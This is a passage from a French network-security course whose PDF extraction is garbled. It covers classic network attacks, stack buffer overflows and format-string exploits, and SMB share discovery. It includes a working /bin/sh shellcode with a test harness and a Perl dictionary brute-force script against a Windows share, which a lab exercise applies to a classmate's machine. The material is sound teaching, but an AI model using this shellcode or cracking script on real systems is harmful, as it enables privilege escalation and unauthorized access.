Pour empcher cette attaque, les dmons FTP sur les serveurs Web doivent tre mis jour rgulirement. Le site FTP doit tre monitor de faon rgulire pour identier si un chier nest pas envoy au serveur Web.

CHAPITRE 23. QUELQUES ATTAQUES RANGES


plus rpondre aux requtes lgitimes.

90

Lorsquune connexion TCP dmarre, la machine de destination reoit un paquet SYN (synchronize/start) de lhte source et envoie en retour un SYN ACK (accus de rception de synchronisation) en rponse. La machine destination doit couter pour recevoir cet acquittement, ou un paquet ACK, avant que la connexion ne puisse tre tablie. Ceci se nomme le "TCP three-way handshake". Rduire le time-out dattente peut aider rduire les risques dattaque par SYN ooding, comme augmenter la taille de la queue de la connexion (the SYN ACK queue).

23.3.5 IP Fragmentation/Overlapping Fragment Attack


Pour faciliter la transmission IP au travers de rseaux encombrs, les paquets IP peuvent tre rduits en taille ou casss en de plus petits paquets. En construisant des paquets trs petits, les routeurs et les IDS ne peuvent identier la nature du contenu de ces paquets et les laisseront passer sans examen plus approfondi. Lorsque le paquet sera rassembl la n, il remplira le buffer. Le machine alors se bloquera ou rebootera ou tuera le processus. Dans une attaque de type Overlapping Fragment, le rassemblage des paquets commence par le milieu dun autre paquet. Comme le systme reoit ces paquets invalides, il alloue de la mmoire pour les stocker an de les reconstruire. Ceci peut ventuellement utiliser toutes les ressources mmoire et causer un reboot ou un gel de la machine.

23.3.6 IP Sequence Prediction Attack

23.3.7 DNS Cache Poisoning

23.3.8 SNMP Attack


La plupart des rseaux supportent SNMP car il est actif par dfaut. Le rle du protocole SNMP est de rcuprer des informations de maintenance. Une attaque SNMP peut rsulter dans le mapping du rseau existant, le monitoring de celui-ci ou mme de la redirection dinformations.

23.3.9 UDP Flood Attack


Un attaque de type UDP Flood paralyse deux systmes inconnus. Par Spoong, le ux UDP envoie des requtes au service UDP dune machine (qui pour des buts de tests gnre une srie de caractres pour chaque paquet reu) avec le service echo UDP dune autre machine (qui renvoie tous les caractres reus dans le but de tester des programmes rseaux). Il en rsulte un ux continu dchange de donnes entre les

Le DNS permet dobtenir des informations sur un hte. Pour augmenter leur productivit les DNS disposent dun cache o sont stocks les donnes les plus rcentes. Ce cache peut tre attaqu et les informations corrompues pour rediriger une connexion rseau sur un autre site, ou bloquer laccs un site en supprimant son entre dans le cache.

oc um en ts

Utilisant la mthode du SYN Flood, un hacker peut tablir une connexion avec une victime et obtenir les numros de squences des paquets IP. Avec ce nombre, le hacker peut controler la victime et le duper en lui faisant croire quil est en train de dialoguer avec une autre machine. La plupart des OS rendent maintenant alatoire la gnration de ces numros de squences pour rduire le risque de prdiction. Malgr ceci, lalatoire nest pas vritable et obit des fonctions mathmatiques plus ou moins complexes.

ou sl

ic

en ce

FD

CHAPITRE 23. QUELQUES ATTAQUES RANGES


deux systmes. source destination adresse IP de la victime adresse IP de la seconde victime

91

Envoi dune trame echo UDP avec ladresse source de lune sur lautre.

23.3.10 Send Mail Attack


Dans cette attaque, des centaines de milliers de messages sont envoyes sur une courte priode de temps. Le but est de ralentir le systme vis.

23.4 Game for Hacking

oc um en ts

ou sl

ic

en ce

Un jeu vido reprend toutes ces attaques et les techniques de dfense qui seront vues plus tard, ce jeu : Uplink disponible sous Windows et Linux.

FD

Les buffer overows [16]


24.1 Introduction
24.1.1 Les programmes setuid

Do cu me nt

24.2 La pile en mmoire


Examinons tout dabord la structure dun processus en mmoire lors de son excution : La mmoire occupe est divise en 3 parties : La zone de texte contenant le code du programme et les constantes ventuelles La zone de donnes contenant les variables initialises et non initialises La zone de la pile ou stack, qui sert mettre des valeurs et les reprendre selon lordre LIFO (Last In First Out). La pile est utilise lors des appels de procdures an de sauvegarder les donnes courantes et pour garder lordre logique des appels de procdures imbriqus. La dernire conguration stocke au sommet de la pile correspond au dernier appel de procdure, et sera la premire retire de la pile. /------------------\ | | | Text | | | |------------------| | (Initialized) | | Data | | (Uninitialized) | |------------------| | | lower memory addresses

so us

Sous UNIX, un chier excutable possdant le bit setuid est un programme qui va sexcuter avec les privilges du propritaire du chier et non les privilges de lutilisateur qui lance son excution. Cest ce qui permet un simple utilisateur de changer son mot de passe alors que cette opration ncessite une modication dun chier systme qui nest modiable que par le superutilisateur. La commande passwd est en effet un chier excutable dont le propritaire est le superutilisateur root : (le bit setuid est indiqu par le s) -r-sr-xr-x 2 root wheel 26804 Sep 18 2001 /usr/bin/passwd* Lorsquun tel programme possde une vulnrabilit permettant un attaquant dexcuter du code arbitraire, il suft ce dernier de lancer par exemple un shell, qui aura les privilges de lutilisateur qui la lanc, cest--dire les privilges superutilisateur ! Lattaquant a alors un accs complet tout ce qui se trouve sur la machine. Cest le principe des exploits avec buffer overows sur des programmes suid root.

92

li ce nc e

FD L

Chapitre 24

CHAPITRE 24. LES BUFFER OVERFLOWS [?]


| Stack | | | \------------------/ higher memory addresses

93

Les points importants retenir ici sont le fait que les variables locales une procdure sont stockes sur la pile ainsi que la valeur de ladresse de retour, cest--dire le PC avant lappel (le PC pointe toujours sur linstruction suivante).

24.2.1 Exemple de dpassement de la pile

Listing 24.1 Dpassement de la pile


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # i n c l u d e < s t d i o . h> i n t main ( ) { char a u t r e [ 5 ] ; char c h a i n e [ 5 ] ;

s p r i n t f ( a u t r e , "%s " , " t i t i " ) ; p r i n t f ( " V a r i a b l e a u t r e a v a n t : %s \ n " , a u t r e ) ; s p r i n t f ( c h a i n e , "%s " , " t o t o e s t d a n s l e a u " ) ;

Lexcution de ce programme nous donne le rsultat suivant : eric@lampion:~/SaveOurSouls$ eric@lampion:~/SaveOurSouls$ eric@lampion:~/SaveOurSouls$ Variable autre avant : titi Variable autre aprs (buffer gcc -c stack.c gcc -o stack stack.o ./stack overflow) : eau

p r i n t f ( " V a r i a b l e a u t r e a p r s ( b u f f e r o v e r f l o w ) : %s \ n " , a u t r e ) ;

return ( 0 ) ;

oc um en ts

ou sl

ic

en ce

FD

Lors dun appel de procdure on stocke sur la pile les paramtres de lappel, les variables locales la procdure ainsi les diffrentes valeurs permettant de se retrouver aprs lappel dans le mme tat quavant, cest--dire les registres, et surtout le compteur de programme avant lappel (le PC, qui nous intresse beaucoup en loccurrence puisquil sagit de ladresse laquelle va se poursuivre lexcution la n de la procdure). La pile occupe les adresses hautes en mmoire et grandit vers le bas, dans les architectures Intel classiques. On connat son adresse grce un registre qui pointe vers son sommet, le Stack Pointer (SP). Un deuxime pointeur est souvent utilis par les compilateurs, il sagit du Frame Pointer (FP) qui pointe vers une adresse xe dans la pile. Il est utile pour rfrencer les variables locales et les paramtres qui vont se trouver des distances variables du SP puisquau l du temps des donnes sont pousses et retires de la pile. Il est donc plus ais de garder une FP, par rapport auquel ladresse des variables locales et des paramtres ne changera pas. La premire chose quune procdure fait lors dun appel est de sauver ce FP sur la pile an de pouvoir le restaurer aprs lappel.

CHAPITRE 24. LES BUFFER OVERFLOWS [?]

94

24.3 Les buffers overows en dtail


Les variables locales une procdure sont donc stockes sur la pile. Sachant que par exemple en C il ny a pas de vrication de la taille des structures de donnes lors de leur manipulation, cela veut dire quon peut imaginer dallouer un tableau de 10 caractres en variable locale lintrieur dune procdure, et ensuite dcrire plus de dix caractres dans ce tableau. Comme la pile grandit vers le bas, et que les variables locales sont pousses sur la pile en dernier le programme va continuer crire des donnes au-del des limites du tableau allou, cest--dire dans les autres valeurs pousses prcdemment sur la pile, y compris la fameuse adresse de retour. De cette faon, on peut changer le cours de lexcution dun programme en la poursuivant une adresse arbitraire dtermine par les valeurs que lon a crite sur la pile.

Listing 24.2 Utilisation de la pile


1 2 3 4 5 int fonction ( int a , int b , int c ) { char b u f [ 1 2 ] ; return 1; }

bottom of memory <-----top of stack

ou sl

Etat de la pile : (ret est ladresse de retour de la procdure, a,b,c les paramtres dappel, buf la variable locale, sfp est le FP une fois sauv) top of memory

oc um en ts

buf sfp ret a b c [.........][....][....][....][....][....] bottom of stack

24.3.2 Exemple de vulnrabilit

Listing 24.3 Exemple de vulnrabilit

1 2 3 4 5

i n t f o n c t i o n ( char a ) { char b u f [ 1 0 0 ] ; s t r c p y ( buf , a ) ; }

Etat de la pile : bottom of memory <-----strcpy: top of stack buf sfp ret a [.........][....][....][....] ------------------!!!!-------> bottom of stack top of memory

ic

en ce

FD

24.3.1 Exemple :

CHAPITRE 24. LES BUFFER OVERFLOWS [?]

95

Listing 24.4 shellcode.c


1 2 3 4 5 6 7 8 9 # i n c l u d e < s t d i o . h> v o i d main ( ) { char name [ 2 ] ;

name [ 0 ] = " / b i n / s h " ; name [ 1 ] = NULL; e x e c v e ( name [ 0 ] , name , NULL ) ; / E x e c u t e l e programme p a s s e en p a r a m e t r e . / }

Il est utile de compiler le programme avec loption -static an dobtenir le code voulu et non des rfrences des librairies charges dynamiquement lors de lexcution :

oc um en ts

ou sl

ic

en ce

FD

La fonction strcpy() va continuer copier la chane de caractres a dans le tableau buf jusqu ce quelle rencontre un caractre de n de chane de caractres (\0), sans tenir compte de la taille maximum du tableau. Il se produira donc ce que lon appelle un buffer overow : lcriture se poursuit en dehors des limites du buffer. Cependant le fait de changer ladresse de retour de la fonction permet simplement de choisir o continue le programme, ce nest gure pratique lorsque le but est dobtenir un accs illimit la machine, car les programmes suid que lon attaque ne contiennent normalement pas dinstruction pour lancer un shell par exemple. Pour pouvoir effectivement excuter nimporte quoi il faut que lattaquant puisse fournir lui-mme le code quil veut excuter. La solution est de mettre le code excuter dans le texte que lon va crire la place du buffer, et de sarranger ensuite pour que ladresse de retour que lon va crire se situe dans la pile, pour que le code fourni soit excut. Le premier problme est que le code que lon va excuter doit tre du code machine puisquil sera lu au cours de lexcution. Pour obtenir le code machine correspondant au code que lon veut excuter il suft dcrire un petit programme et de le compiler. On peut ensuite examiner le code produit laide de gdb pour connatre le code machine ainsi que la disposition en mmoire (longueur de chaque instruction, offsets) du programme :

CHAPITRE 24. LES BUFFER OVERFLOWS [?]

96

[titan]$ gcc -o shellcode -gdb -static shellcode.c [titan]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. En examinant de prs le code assembleur on peut reprer les tapes indispensables et lon aboutit au code suivant (tout est expliqu en dtails ici).

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 24. LES BUFFER OVERFLOWS [?]


Listing 24.5 root shell assembleur
1 2 3 4 5 6 7 8 9 10 11 12 movl string_addr , string_addr_addr movb $0x0 , n u l l _ b y t e _ a d d r movl $0x0 , n u l l _ a d d r movl $0xb ,% eax movl s t r i n g _ a d d r ,% ebx leal s t r i n g _ a d d r ,% e c x leal n u l l _ s t r i n g ,% edx int $0x80 movl $0x1 , %eax movl $0x0 , %ebx int $0x80 l a s t r i n g / bin / sh v i e n s i c i .

97

bottom of memory

<------

[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) bottom of stack

top of stack

Il reste cependant un petit problme : puisque notre buffer overow sera copi dans le buffer laide dune instruction du type strcpy(), il ne faut pas quil contienne de caractre nul sinon strcpy() sarrtera en pensant avoir atteint la n de la chane de caractres. Pour viter cela on examine le code machine produit et on remplace les instructions contenant des \0 par des instructions equivalentes possdant un opcode diffrent. Exemple :

oc um en ts

DDDDDDDDEEEEEEEEEEEE 89ABCDEF0123456789AB buffer

ou sl
EEEE CDEF sfp

Le principe est donc deffectuer un appel systme execve() pour lancer la commande /bin/sh. Cest l que se prsente un autre problme, comment connatre ladresse de cette chane de caractres une fois place en mmoire, an de pouvoir la rfrencer ? Une solution (lorsque lon connat le langage dassemblage ;-) est dutiliser une instruction JMP et une instruction CALL. Ces deux instructions peuvent utiliser laddressage relatif au PC, cest--dire que lon peut leur donner un dplacement en mmoire plutot quune adresse absolue. Il suft alors de placer un CALL juste avant la chane de caractres et un JMP vers le CALL au dbut du shellcode. Linstruction CALL va pousser son adresse de retour sur la pile, qui est justement ladresse de notre chane de caractres ! Il ne reste plus qu la copier dans un registre et utiliser ce registre pour effectiuer lappel systme. Le CALL, quant lui, peut simplement pointer vers le dbut de notre code : On voit ici lordre des sauts qui seront effectus lors de lexcution. les J reprsentent linstruction JMP en mmoire, C le CALL et s notre string /bin/sh :

ic
FFFF 0123 ret

en ce
FFFF 4567 a

FD
FFFF 89AB b

L
FFFF CDEF c top of memory

CHAPITRE 24. LES BUFFER OVERFLOWS [?]


Instructions posant probleme : A remplacer par : -------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------movl $0xb,%eax movb $0xb,%al -------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax --------------------------------------------------------

98

Listing 24.6 testsc2.c

Et un petit test prouve que lappel fonctionne :

On a alors peu prs tout ce quil nous faut. Pour faire pointer RET vers le dbut de notre shellcode on peut simplement terminer notre string dexploit par ladresse du dbut de notre shellcode, recopie un grand nombre de fois. Cependant lors de lattaque dun programme tranger, comment connatre cette adresse ? La pile commence une adresse xe pour tous les programmes, et sachant que chaque programme va ensuite pousser sur la pile un nombre diffrent de bytes, on pourrait procder par essaiserreurs. Cependant cest trs fastidieux et risque dtre trs long. Une mthode souvent utilise en pratique est de commencer notre string dexploit par un grand nombre dinstructions NOP. Cette instruction ne fait rien part sauter linstruction suivante. Cela va nous permettre de tomber plus facilement au dbut de notre shellcode, puisquil suft darriver nimporte quel endroit dans les NOPs, qui seront simplement excuts jusqu ce que lon arrive notre shellcode. La conguration obtenue est la suivante :

------------------------------------------------------------------------[titan]$ gcc -o testsc2 testsc2.c [titan]$ ./testsc2 $ exit [titan]$ --------------------------------------------------------------------------

oc um en ts

1 2 char s h e l l c o d e [ ] = 3 " \ xeb \ x 1 f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b " 4 " \ x89 \ x f 3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd " 5 " \ x80 \ xe8 \ xdc \ x f f \ x f f \ x f f / b i n / s h " ; 6 7 v o i d main ( ) { 8 int ret ; 9 10 r e t = ( i n t )& r e t + 2 ; 11 ( r e t ) = ( i n t ) s hel l code ; 12 13 } 14

ou sl

ic

en ce

FD

A laide de gdb on obtient alors le shellcode :

CHAPITRE 24. LES BUFFER OVERFLOWS [?]


bottom of memory DDDDDDDDEEEEEEEEEEEE 89ABCDEF0123456789AB buffer EEEE CDEF sfp FFFF 0123 ret FFFF 4567 a FFFF 89AB b FFFF CDEF c top of memory

99

<------

[NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________|

Un minimum de connaissance du langage C est ncessaire pour comprendre ce qui suit. Les instructions comme printf(), sprintf(), etc... prennent parmi leurs arguments un "format string" qui dnit le format de ce que la commande va devoir crire en fonction des autres arguments. Tout le monde connait les caractres de formatting les plus courants utiliss dans ces "format strings", comme "%s" utilis pour imprimer une chane de caractres. (printf("%s", "Hello World !") ;) O se trouve le problme dans ces instructions qui sont parmi les plus utilises dans le langage C ? Le problme apparat lorsque le programmeur paresseux, comme tout programmeur crit par exemple printf (buf) ; Le langage C tant un langage de bas niveau, il ny a pas de vrication trs pousse des arguments, le programmeur est cens soccuper de leur bonne utilisation. Dans ce cas-ci, le buffer buf va tre considr comme la "format string" puisque pouss sa place sur la pile par printf(). Si buf ne contient aucun spcieur de format, le comportement sera sensiblement le mme que si on avait crit printf("%s",buf) ;, do le raccourci utilis par le programmeur. Par contre si buf contenait "%x %x %x %x %x" cette instruction aurait pour effet dimprimer le contenu des adresses passes en arguments. Comme il ny a pas dautres arguments mais que printf() ne le vrie pas, les arguments seront logiquement lus sur la pile la suite de buf, et imprims ! Le comportement est trs diffrent de ce qui tait dsir. En fonction de la mauvaise utilisation des "formats strings", on voit quil est possible de lire le contenu de la pile en sarrangeant pour que la chane de caractres utiliss en lieu et place de la "format string" contienne des caractres spciaux de formatting. On pourrait imaginer de lire tout le contenu de la pile (voir son organisation lors dappels de fonctions dans la partie sur les buffer overows) en fournissant la place dune "format string" un trs longue suite de spcieurs de format, de faon arriver la string dattaque

oc um en ts

Lors de notre recherche dexploits utilisant des buffer overows, nous sommes tombs sur toute une srie dexploit qui ressemblaient des buffer overows de par lutilisation de "shellcodes" binaires etc..., mais ntaient pas exactement de la mme nature. Il sagit des exploit utilisant des failles dans les "formats strings" donnes en argument des instructions comme sprintf(). Il tait intressant den comprendre le fonctionnement puisque nous avons pour nir utilis avec succs plusieurs exploits utilisant ce type de vulnrabilits.

ou sl

ic

24.4 Variante : les "format string exploits"

en ce

Il est ais de trouver des "shellcodes" toutfaits sur Internet pour diffrentes architectures. Une bonne comprehension des buffers overows sera toutefois ncessaire pour obtenir un string dexploit fonctionnelle pour un ordinateur en particulier, et/ou la modier le cas chant.

FD

top of bottom of stack Et voil pour le principe. Il y a diffrentes variantes possibles, par exemple si le buffer que lon veut exploiter est trop petit pour contenir le shellcode et/ou un grand nombre de NOP, on peut utiliser les variables denvironnement pour stocker la string dexploit, puisque ces variables sont pousses sur la pile tout au dbut du lancement du programme.

CHAPITRE 24. LES BUFFER OVERFLOWS [?]

100

elle-mme, en ayant donc accs aux adresses de retour des fonctions etc... Trs intressant lorsquon veut jouer un peu avec la pile... Cependant cela ne permet pas dexcuter du code arbitraire, ni de lancer une shell en root, alors que cest bien entendu notre but... La solution vient dun autre type de spcieur de format ( ce sujet il peut tre utile de consulter le manuel printf(2) et ses variantes, toutes les explications qui suivent tant valables aussi bien pour sprintf() etc..) : "%n". Lutilisation de "%n" demande printf() dcrire le nombre de caractres dj envoys depuis le dbut de lexcution de linstruction. Largument correspondant %n sera ladresse mmoire laquelle il faut crire cette valeur. Autre particularit, %n demande le nombre de caractres qui ont ou qui devraient avoir t crits, jusqu lendroit du %n. Par exemple snprintf(buf, 2, "%1000d%n", 1, &a) crit 1000 ladresse &a et non 2, bien que seul deux caractres aient t crits. Bon cela nous permet dcrire des nombres arbitraires, et pour les crire la bonne adresse il faut fournir printf() des pointeurs vers les bons endroits, par exemple ladresse de retour de la fonction, an de lui faire excuter autre chose. Pour cela il faudrait pouvoir choisir les arguments qui sont passs printf() ! Mais rappelons-nous, il ny en a quun. Les autres sont pris sur la pile lendroit o printf() est arriv. Il suft donc de mettre sufsamment de spcieurs de format pour "consommer" la pile et nir par arriver au dbut de la string que lon fournit soi-mme, en remontant dans la mmoire et en descendant dans la pile ! A ce moment-l on dispose darguments que lon peut contrler soi-mme, en leur donnant par exemple la valeur de ladresse ou est crite ladresse de retour de la fonction, que lon a pu trouver en examinant le contenu de la pile prcdemment. Il reste un problme, la taille du buffer. Puisque la plupart du temps on ne peut choisir linstruction que lon exploite, il nest pas possible dutiliser le fait que %n imprime non pas le nombre de caractres effectivement crit mais le nombre de caractres qui auraient d tre crits. Ladresse laquelle se trouve notre shellcode peut tre trs leve,et il nest souvent pas possible dcrire autant de caratres dans le buffer utilis comme "format string", puisquil est forcment de taille limite. Une solution est dcrire ladresse en plusieurs parties, mme byte par byte si ncessaire, en crivant chaque fois une partie de ladresse, du byte le moins signicatif au byte le plus signicatif, pour viter deffacer des bytes dj crits. Bien entendu comme %n fait crire le nombre de bytes dj crits, il faut soustraire ce nombre chaque tape au nombre de caractres que lon met dans la string pour obtenir le nombre dsir, composant ladresse. Il suft enn de fournir le shellcode au debut de la string que lon exploite, de trouver ladresse o il est stock en examinant la pile comme dcrit plus haut, et daller crire son adresse la place de ladresse de retour de la fonction, trouve de la mme faon. Le principe est assez simple une fois que lon a compris la faon dont la pile volue au l des appels des procdures, et ce qui est pouss dessus.

24.5 Notre Attaque


Une fois que lon a compris le principe des buffer overows, la mthode la plus simple est de trouver sur Internet soit le nom dune application vulnrable prsente sur le systme vis, soit carrmment la source dun exploit ralis par quelquun dautre. Il nest pas toujours rellement ncessaire de comprendre le fonctionnement des buffers overows, et nous avons mme trouv des sources dexploits qui se chargeaient de tout le travail et ne demandaient aucune intervention de la part de lutilisateur, mis part la compilation du code. En rgle gnrale, cependant, il est utile de bien comprendre le mcanisme car les exploits ncessitent souvent comme paramtre lune ou lautre adresse mmoire dpendant dune machine lautre.

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 24. LES BUFFER OVERFLOWS [?]

101

24.6 Mesures de prcautions


La plupart des failles utilises dans les attaques de buffer overow et de "format string" overow sont dues des erreurs de programmation, dont en particulier lutilisation de raccourcis pour programmeurs paresseux dans des applications o la scurit est cruciale. Buffer Overows Les programmeurs devraient utiliser strncpy() au lieu de strcpy() pour viter de crer des vulnrabilits De mme lutilisation de snprintf() au lieu de sprintf() permet dviter les attaques par overow, etc... On pourrait interdire lexcution de code se trouvant sur la pile, mais cest contournable Il faudrait auditer toutes les sources pour dtecter les failles possibles et les modier, mais cest un travail norme et irralisable. "Format String" Overows Ne jamais utiliser printf( <resultat dappel dune fonction>, arguments, ... ) ; Mais uniquement des "format strings" statiques, sans jamais permettre lutilisateur de fournir luimme de faon directe ou indirecte la chane de caractres qui se retrouvera la place de la "format string". De faon gnrale, en programmation, il faut toujours considrer que user input = EVIL et donc ne jamais utiliser de donnes reues par ce biais sans les vrier.

oc um en ts

ou sl

ic

en ce

FD

Chapitre 25

25.1 Introduction

25.2 Identier les partages

oc um en ts

Si nous avons accs la machine qui possde des partages, inutile dessayer de casser le mot de passe autant se dplacer. Nous allons donc partir du postulat comme quoi, la machine nest pas sous notre nez et que nous avons pris une @IP au hasard. Le voisinage rseau du systme qui nous intresse rponds un protocole qui nous permet de connatre les partages offerts par le systme. La commande utilise sous Dos pour connatre ces partages est nbtstat, celle-ci nest hlas pas disponible sous Linux. Une petite recherche sur le net met trs rapidement n ce manque en nous donnant un petit programme C. Windows nbtstat -A @IP Linux ./nbtstat @IP

En voici le rsultat sous Linux :

ou sl
102

ic

Les attaques les plus btes ne sont pas forcment les moins dvastatrices. Sous certains systmes, les tentatives daccs une ressource rseau ne sont pas loggs dans un journal o si elles le sont ne sont pas annoncs de manire explicite lutilisateur. Il est donc possible de tester les mots de passe un un jusqu trouver le bon ... Cest ce que nous allons voir avec ces travaux pratiques.

en ce

FD

Attaque par force brute

CHAPITRE 25. ATTAQUE PAR FORCE BRUTE


received data: A2 48 84 00 00 00 00 01 00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 01 00 00 00 00 00 9B 06 54 4F 4C 20 20 20 20 20 20 00 44 4D 20 20 20 20 20 20 20 20 20 52 4E 45 53 4F 4C 20 20 20 20 4F 55 52 4E 45 53 4F 4C 20 20 00 42 49 2E 43 4F 4D 20 20 20 1E C4 00 4D 47 54 20 20 20 20 20 20 03 44 00 00 E0 7D C2 A6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6 names in response TOURNESOL <0x00> Unique BI.COM <0x00> Group TOURNESOL <0x03> Unique TOURNESOL <0x20> Unique BI.COM <0x1e> Group MGT <0x03> Unique

103

F IG . 25.1 Utilisation de nbtstat Nous connaissons maintenant le login de connexion de lutilisateur et le nom de la machine ainsi que dautres informations qui nauront pas dintrt dans notre dmonstration. Login : MGT Hostname : TOURNESOL

Le protocole NetBios utilise les noms de machines pour pouvoir se connecter celles-ci, il nous faut donc informer la relation @IP < > Nom de machine sur notre systme. Nous allons donc indiquer dans le chier /etc/hosts (Linux) ou c:\windows\hosts ou lmhosts cette relation.

25.3 Visualisation des partages


Il nous faut maintenant connatre les noms des partages offerts par cette machine. Encore une fois des commandes MSDos et Linux nous permettent cette fonctionnalit : Windows net view \\Nomdelamachine Linux smbclient -N -L Nomdelamachine

Les options utilises dans la commande Linux sont : -N : pour ne pas demander de mot de passe -L : pour permettre de demnder les services disponibles sur le serveur En voici le rsultat sous Linux :

oc um en ts

192.168.0.147 TOURNESOL

ou sl

Workstation Service Domain Name Messenger Service File Server Service Potential Master Browser Messenger Service

ic

en ce

FD

00 41 41 4F 00 00 20 20 20 20 E5 00 00 00

00 41 41 55 42 C4 20 20 20 20 00 00 00 00

20 41 41 52 49 00 03 20 20 20 00 00 00 00

43 41 00 4E 2E 54 44 20 20 20 00 00 00 00

4B 41 00 45 43 4F 00 20 20 20 00 00 00 00

41 41 21 53 4F 55 54 44 20 20 00 00 00 00

.H.......... CKA AAAAAAAAAAAAAAAA AAAAAAAAAAAAA..! .........TOURNES OL .D.BI.CO M ...TOU RNESOL .D.T OURNESOL D .BI.COM ...MGT .D............ ................ ................ ................ .....

CHAPITRE 25. ATTAQUE PAR FORCE BRUTE


Sharename --------EBR PARTAGE2 IPC$ Server --------Workgroup --------Type ---Disk Disk IPC Comment -------

104

Remote Inter Process Communication Comment ------Master -------

25.4 Accder au partage

Windows Linux

NET USE [drive: | *] [\\computer\directory [password | ?]] smbmount //computer/partage ~/mnt -o password=motdepasse

25.4.1 Exemples

25.5 Librer le partage


Windows Linux

Les commandes utilisables pour ceci sont les suivantes :

25.6 Mot de passe : la force brute


Comme nous pouvons le constater, il manque la donne essentielle le mot de passe. Nous allons donc le casser en utilisant pour cel un dictionnaire. Bien sr, ce programme ne marche que si le mot de passe est un lment du dictionnaire mais il serait trs simple de le modier pour prendre en compte diverses alogorithmes de recherche de mots de passe. Listing 25.1 crack.pl
1 2 3 # ! / u s r / b i n / p e r l w my $F ;

oc um en ts

Windows Linux

net use g: \\psf5\partagepsf5 smbmount //psf5/partagepsf5 ~/mnt

NET USE [drive: | *] /DELETE smbumount ~/mnt

ou sl

Laccs un partage Windows peut se faire dans lenvironnement rseau par clic souris. Le problme que lon rencontre ici est que nous ne conaissons pas le mot de passe ce qui signie que nous ne sommes pas mme de mettre le bon mot de passe dans la fentre dactivation du partage. Il nous faut donc faire ceci non pas de manire clic clic souris mais de manire automatise an de tester un nombre important de mot de passe (jusqu trouver le bon). Les commandes utilisables pour ceci sont les suivantes :

ic

en ce

FD

F IG . 25.2 Partages Windows

CHAPITRE 25. ATTAQUE PAR FORCE BRUTE


4 5 6 7 8 9 10 11 12 13 14 15 open ( F , " d i c o " ) ; w h i l e ( <F > ) { chomp ( $_ ) ; p r i n t " E s s a i de : $_ \ n " ; smbmount / / t o u r n e s o l / EBR ~ / mnt o p a s s w o r d =$_ ; i f ( $ ? == 0 ) { p r i n t " F i n OK" ; close (F ) ; exit 0; } } close (F ) ;

105

25.6.1 Analyse du programme

25.7 Travaux Pratiques

oc um en ts

ou sl

Crer un partage non protg et un partage protg avec un mot du dictionnaire sur votre machine. Utiliser les commandes prcdemment montres an de visualiser les diffrents partages et les informations ncessaires notre stratgie. Utiliser les 2 mthodes de partage pour accder au rpertoire partag sans mot de passe. Utiliser les 2 mthodes de partage pour accder au rpertoire partag protg. Utiliser le programme crack.pl pour accder au partage protg de votre voisin.

ic

en ce

Le programme est simple, il lit ligne aprs ligne le chier dico qui contient le dictionnaire des mots franais courant. Un afchage permet de contrler les tests. Lorsque la commande smbmount russi.

FD

Chapitre 26

oc um en ts

ou sl
106

ic

en ce

Attaquer un serveur Web nest pas du niveau du premier venu, on pourrait donc penser que peu de personnes pourront donc attaquer. Malgr tout, ceci est faux. En effet, par acquis de notorit toutes les failles de scurit sont dvoiles et mises en ligne sur Internet. Il est possible alors de jeunes pirates de se transformer en pourfandeur de serveur Web. On les nomme les script Kiddies.

FD

Conclusion

oc um en ts

ou sl
107

ic

Dfense

en ce

Sixime partie

FD

Chapitre 27

oc um en ts

ou sl
108

